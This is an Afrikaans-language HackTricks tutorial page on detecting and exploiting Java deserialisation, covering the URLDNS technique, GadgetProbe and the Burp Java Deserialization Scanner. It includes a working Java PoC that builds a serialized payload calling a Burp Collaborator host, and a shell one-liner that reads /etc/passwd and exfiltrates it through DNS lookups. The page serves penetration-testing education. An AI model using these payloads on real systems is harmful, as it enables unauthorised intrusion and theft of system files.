12 KiB
Java DNS Deserialisasie, GadgetProbe en Java Deserialisasie Skandeerder
Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
- As jy jou maatskappy geadverteer wil sien in HackTricks of HackTricks in PDF wil aflaai, kyk na die SUBSCRIPTION PLANS!
- Kry die amptelike PEASS & HackTricks swag
- Ontdek The PEASS Family, ons versameling eksklusiewe NFTs
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @carlospolopm.
- Deel jou hacktruuks deur PR's in te dien by die HackTricks en HackTricks Cloud github-opslag.
DNS-versoek by deserialisasie
Die klas java.net.URL
implementeer Serializable
, dit beteken dat hierdie klas gedeserialiseer kan word.
public final class URL implements java.io.Serializable {
Hierdie klas het 'n merkwaardige gedrag. Volgens die dokumentasie: "Twee gasheername word as ekwivalent beskou as beide gasheernaam na dieselfde IP-adresse opgelos kan word".
Dus, elke keer as 'n URL-objek een van die funksies equals
of hashCode
aanroep, sal 'n DNS-versoek gestuur word om die IP-adres te kry.
Dit is redelik maklik om die funksie hashCode
van 'n URL-objek aan te roep. Dit is genoeg om hierdie objek binne 'n HashMap
in te voeg wat gedeserializeer gaan word. Dit is omdat aan die einde van die readObject
-funksie van HashMap
hierdie kode uitgevoer word:
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
[ ... ]
for (int i = 0; i < mappings; i++) {
[ ... ]
putVal(hash(key), key, value, false, false);
}
Dit gaan die putVal
uitvoer met elke waarde binne die HashMap
. Maar, meer relevant is die oproep na hash
met elke waarde. Hierdie is die kode van die hash
funksie:
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
Soos u kan sien, wanneer 'n HashMap
gedeserialiseer word, sal die funksie hash
uitgevoer word met elke objek en tydens die uitvoering van hash
sal die .hashCode()
van die objek uitgevoer word. Daarom, as u 'n HashMap
deserialiseer wat 'n URL-objek bevat, sal die URL-objek .hashCode()
uitvoer.
Kom ons kyk na die kode van URLObject.hashCode()
:
public int hashCode() {
int h = hash;
if (h == 0 && protocol != null && host != null) {
h = protocol.hashCode();
h = h * 31 + host.hashCode();
hash = h;
}
return h;
}
In hierdie kode word die hashCode
van die URL-objek bereken deur die hashCode
van die protokol en die hashCode
van die gasheer te kombineer. Die finale hashCode
-waarde word dan teruggegee.
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
Soos jy kan sien, wanneer 'n URLObject
.hashCode()
uitvoer, word dit hashCode(this)
genoem. 'n Voortsetting, jy kan die kode van hierdie funksie sien:
protected int hashCode(URL u) {
int h = 0;
// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();
// Generate the host part.
InetAddress addr = getHostAddress(u);
[ ... ]
Jy kan sien dat 'n getHostAddress
uitgevoer word na die domein, 'n DNS-navraag lanceer.
Daarom kan hierdie klas misbruik word om 'n DNS-navraag te lanceer om te demonstreer dat deserialisering moontlik is, of selfs om inligting te uit te lek (jy kan die uitset van 'n beveluitvoering as subdomein byvoeg).
URLDNS-payload-kodevoorbeeld
Jy kan die URLDNS-payload-kode van ysoserial hier vind. Tog het ek my eie PoC geskep (gebaseer op dié van ysoserial) om dit makliker te maak om te verstaan hoe om dit te kodeer:
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.net.URL;
public class URLDNS {
public static void GeneratePayload(Object instance, String file)
throws Exception {
//Serialize the constructed payload and write it to the file
File f = new File(file);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
out.flush();
out.close();
}
public static void payloadTest(String file) throws Exception {
//Read the written payload and deserialize it
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
Object obj = in.readObject();
System.out.println(obj);
in.close();
}
public static void main(final String[] args) throws Exception {
String url = "http://3tx71wjbze3ihjqej2tjw7284zapye.burpcollaborator.net";
HashMap ht = new HashMap(); // HashMap that will contain the URL
URLStreamHandler handler = new SilentURLStreamHandler();
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
// During the put above, the URL's hashCode is calculated and cached.
// This resets that so the next time hashCode is called a DNS lookup will be triggered.
final Field field = u.getClass().getDeclaredField("hashCode");
field.setAccessible(true);
field.set(u, -1);
//Test the payloads
GeneratePayload(ht, "C:\\Users\\Public\\payload.serial");
}
}
class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
Meer inligting
- https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/
- In die oorspronklike idee is die commons-kolleksies-payload verander om 'n DNS-navraag uit te voer, dit was minder betroubaar as die voorgestelde metode, maar hier is die pos: https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/
GadgetProbe
Jy kan GadgetProbe aflaai van die Burp Suite App Store (Extender).
GadgetProbe sal probeer uitvind of sommige Java-klasse bestaan op die Java-klas van die bediener sodat jy kan weet of dit kwesbaar is vir 'n bekende uitbuiting.
Hoe werk dit
GadgetProbe sal dieselfde DNS-payload van die vorige afdeling gebruik, maar voordat die DNS-navraag uitgevoer word, sal dit probeër om 'n willekeurige klas te deserialiseer. As die willekeurige klas bestaan, sal die DNS-navraag gestuur word en GadgetProbe sal aanteken dat hierdie klas bestaan. As die DNS-aanvraag nooit gestuur word nie, beteken dit dat die willekeurige klas nie suksesvol gedeserialiseer is nie, dus is dit óf nie teenwoordig nie óf dit is nie serialiseerbaar/uitbuitbaar nie.
Binne die GitHub, GadgetProbe het 'n paar woordlyste met Java-klasse om getoets te word.
Meer inligting
Java Deserialization-skandeerder
Hierdie skandeerder kan afgelaai word van die Burp App Store (Extender).
Die uitbreiding het passiewe en aktiewe vermoëns.
Passief
Standaard ondersoek dit passief alle versoeke en antwoorde wat gestuur word op soek na Java-geserialiseerde toorderye en sal 'n kwesbaarheidswaarskuwing gee as enige gevind word:
Aktief
Handmatige toetsing
Jy kan 'n versoek kies, regs klik en Send request to DS - Manual Testing
kies.
Dan kan jy binne die Deserialization Scanner Tab --> Manual testing tab die invoegpunt kies. En die toetsing begin (Kies die toepaslike aanval afhangende van die gebruikte enkripsie).
Selfs al word dit "Handmatige toetsing" genoem, is dit redelik geoutomatiseer. Dit sal outomaties nagaan of die deserialisering kwesbaar is vir enige ysoserial-payload deur die biblioteke wat teenwoordig is op die webbediener te ondersoek en sal die kwesbare biblioteke beklemtoon. Om te ondersoek vir kwesbare biblioteke kan jy kies om Javas Sleeps, sleeps via CPU-verbruik, of DNS te gebruik soos voorheen genoem is.
Uitbuiting
Sodra jy 'n kwesbare biblioteek geïdentifiseer het, kan jy die versoek na die Exploiting Tab stuur.
In hierdie tabblad moet jy weer die injeksiepunt kies, 'n kwesbare biblioteek en die opdrag wat jy 'n payload vir wil skep, en dan druk jy net die toepaslike Aanval-knoppie.
Java Deserialisering DNS Exfil-inligting
Maak jou payload iets soos die volgende uitvoer:
(i=0;tar zcf - /etc/passwd | xxd -p -c 31 | while read line; do host $line.$i.cl1k22spvdzcxdenxt5onx5id9je73.burpcollaborator.net;i=$((i+1)); done)
Meer Inligting
Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
- As jy jou maatskappy geadverteer wil sien in HackTricks of HackTricks in PDF wil aflaai, kyk na die SUBSCRIPTION PLANS!
- Kry die amptelike PEASS & HackTricks swag
- Ontdek The PEASS Family, ons versameling eksklusiewe NFTs
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @carlospolopm.
- Deel jou hacktruuks deur PR's in te dien by die HackTricks en HackTricks Cloud github-repos.